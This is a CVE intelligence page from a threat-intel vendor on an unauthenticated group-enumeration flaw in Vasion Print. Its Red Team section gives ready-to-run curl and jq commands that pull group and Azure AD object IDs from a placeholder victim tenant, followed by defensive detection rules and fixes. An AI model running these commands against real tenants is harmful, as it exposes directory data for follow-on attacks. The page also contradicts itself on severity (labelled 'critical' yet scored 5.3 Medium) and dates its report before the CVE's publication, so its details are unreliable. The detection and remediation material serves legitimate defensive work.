☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-34220

CVE-2025-34220 Authentication Bypass in Vasion
📅 PUBLISHED: 2025-09-29 20:42 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.69%
👁️
0.69% probability
17.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-34220 is a critical authentication bypass vulnerability in Vasion Print (formerly PrinterLogic) that allows an unauthenticated remote attacker to enumerate all group objects within a tenant. The flaw resides in the /api-gateway/identity/search-groups endpoint, which fails to enforce any authentication mechanism. By sending a crafted request with a modified Host header to the tenant's cloud instance (e.g., https://<tenant>.printercloud10.com/api-gateway/identity/search-groups), an attacker can retrieve sensitive internal identifiers including group IDs, source service IDs, Azure AD object IDs, creation timestamps, and tenant IDs.

This vulnerability is particularly dangerous because it requires no prior access, no credentials, and can be exploited from any network position. The exposed data can be used to map internal directory structures, identify privileged groups, and pivot to more targeted attacks against Azure AD or other identity providers. The vendor has confirmed remediation in the specified versions, but the exact patch timeline remains unclear.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but rather to a proprietary virtual appliance and SaaS application. The supply chain risk is limited to the Vasion Print software itself, which is distributed as a virtual appliance or hosted SaaS. Organizations using the on-premises virtual appliance should verify their version and apply the update immediately.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 5.3 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L) – only group enumeration, not direct data exfiltration
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the real-world impact is elevated because the exposed data (Azure AD object IDs, tenant IDs) can be used to facilitate more severe attacks such as privilege escalation, lateral movement, or targeted phishing.

Deep Dive & Mechanics

The vulnerability exists in the /api-gateway/identity/search-groups endpoint of the Vasion Print API gateway. This endpoint is designed to allow authenticated users to search for groups within the tenant's identity store. However, the implementation fails to validate the presence or validity of an authentication token before processing the request.

Root Cause: The API gateway does not enforce authentication middleware on the /api-gateway/identity/search-groups route. This is a classic CWE-306 (Missing Authentication for Critical Function) vulnerability.

Exploitation Mechanics:

  1. The attacker identifies a target tenant's cloud instance (e.g., tenant.printercloud10.com).
  2. The attacker sends an HTTP GET request to https://<tenant>.printercloud10.com/api-gateway/identity/search-groups.
  3. The attacker manipulates the Host header to match the tenant's domain (e.g., Host: tenant.printercloud10.com).
  4. The server processes the request without authentication and returns a JSON response containing all group objects.
  5. The response includes:
    • groupId: Internal group identifier
    • sourceServiceId: ID of the source identity service (e.g., Azure AD)
    • azureAdObjectId: Azure AD object ID for the group
    • createdTimestamp: When the group was created
    • tenantId: The tenant's unique identifier

Why the Host header matters: The API gateway uses the Host header to route requests to the correct tenant's backend. Without the correct Host header, the request may be rejected or routed to a default tenant. By setting the Host header to the target tenant's domain, the attacker ensures the request is processed in the context of that tenant.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# app/routes/identity.py
from flask import request, jsonify

@app.route('/api-gateway/identity/search-groups', methods=['GET'])
def search_groups():
    # Missing authentication check
    tenant = extract_tenant_from_host(request.headers.get('Host'))
    groups = get_all_groups_for_tenant(tenant)
    return jsonify(groups)

Patched Code (Conceptual):

# app/routes/identity.py
from flask import request, jsonify, abort
from auth import require_authentication

@app.route('/api-gateway/identity/search-groups', methods=['GET'])
@require_authentication  # Added authentication middleware
def search_groups():
    tenant = extract_tenant_from_host(request.headers.get('Host'))
    # Only return groups the authenticated user has permission to see
    groups = get_authorized_groups_for_user(current_user, tenant)
    return jsonify(groups)

The patch adds an authentication decorator (@require_authentication) that validates the user's session token before allowing access to the endpoint. Additionally, the patched version implements authorization checks to ensure the authenticated user can only see groups they are permitted to view.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A target Vasion Print tenant (e.g., victim.printercloud10.com)
  • Any HTTP client (curl, Burp Suite, Python requests)

Exploitation Steps:

  1. Enumerate groups:
curl -X GET "https://victim.printercloud10.com/api-gateway/identity/search-groups" \
  -H "Host: victim.printercloud10.com" \
  -H "User-Agent: Mozilla/5.0"
  1. Parse the response:
curl -s -X GET "https://victim.printercloud10.com/api-gateway/identity/search-groups" \
  -H "Host: victim.printercloud10.com" | jq '.'
  1. Extract Azure AD object IDs for further attacks:
curl -s -X GET "https://victim.printercloud10.com/api-gateway/identity/search-groups" \
  -H "Host: victim.printercloud10.com" | jq '.[].azureAdObjectId'

Expected Response (truncated):

[
  {
    "groupId": "g-12345",
    "sourceServiceId": "azure-ad-1",
    "azureAdObjectId": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
    "createdTimestamp": "2024-01-15T10:30:00Z",
    "tenantId": "t-tenant-001"
  },
  {
    "groupId": "g-67890",
    "sourceServiceId": "azure-ad-1",
    "azureAdObjectId": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
    "createdTimestamp": "2024-02-20T14:45:00Z",
    "tenantId": "t-tenant-001"
  }
]

Blue Team

Detection Steps:

  1. Monitor for requests to /api-gateway/identity/search-groups from IPs not associated with legitimate users.
  2. Look for anomalous Host header manipulation (e.g., requests with Host headers that don't match the actual server's domain).
  3. Alert on multiple requests to this endpoint from the same source IP within a short time window.

Honeypot Strategy:

  • Deploy a decoy Vasion Print instance with fake group data.
  • Monitor for any requests to /api-gateway/identity/search-groups – any such request is malicious since legitimate users should never need to access this endpoint directly.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /api-gateway/identity/search-groups with no authentication headers
  • Requests with manipulated Host headers (e.g., Host: <tenant>.printercloud10.com where the actual server is different)
  • Outbound connections from the Vasion Print server to unknown IPs after exploitation

File IOCs:

  • Log entries containing GET /api-gateway/identity/search-groups with HTTP status 200 from unauthenticated sources
  • Web server logs showing repeated requests to this endpoint from the same IP

System IOCs:

  • Unusual API calls to Azure AD Graph API using exposed object IDs
  • Creation of new user accounts or group memberships shortly after exploitation

Detection Engineering

YARA Rule

rule CVE_2025_34220_Vasion_Print_Group_Enumeration {
    meta:
        description = "Detects exploitation attempts of CVE-2025-34220 in Vasion Print"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-34220"
        severity = "high"
    strings:
        $endpoint = "/api-gateway/identity/search-groups"
        $host_header = "Host:"
        $json_response = /"groupId":\s*"[^"]+"/
    condition:
        $endpoint and $host_header and $json_response
}

Sigma Rule

title: CVE-2025-34220 Vasion Print Group Enumeration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated requests to the Vasion Print group enumeration endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34220
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api-gateway/identity/search-groups'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate internal monitoring tools (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-34220 Vasion Print Group Enumeration Attempt";
    flow:to_server;
    content:"GET";
    http_method;
    content:"/api-gateway/identity/search-groups";
    http_uri;
    content:"Host:";
    http_header;
    pcre:"/Host:\s*[a-zA-Z0-9.-]+\.printercloud10\.com/Hi";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:cve,2025-34220;
)

Remediation & Mitigation

Immediate Actions:

  1. Update Vasion Print to version 25.1.102 (Virtual Appliance Host) or 25.1.1413 (Application) or later.
  2. If immediate patching is not possible, implement a WAF rule to block requests to /api-gateway/identity/search-groups from untrusted sources.
  3. Review access logs for any prior exploitation attempts.

Long-term Mitigations:

  • Implement network segmentation to restrict access to the Vasion Print API gateway.
  • Enable detailed logging and monitoring for all API endpoints.
  • Conduct a security review of all API endpoints to ensure authentication is enforced.
  • Rotate any exposed Azure AD credentials or secrets if exploitation is suspected.

Workaround (if patching is delayed):

  • Configure the web server or reverse proxy to require authentication for the /api-gateway/identity/search-groups path.
  • Example Nginx rule:
location /api-gateway/identity/search-groups {
    deny all;
    return 403;
}

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated: 2025-04-10

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-34220/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.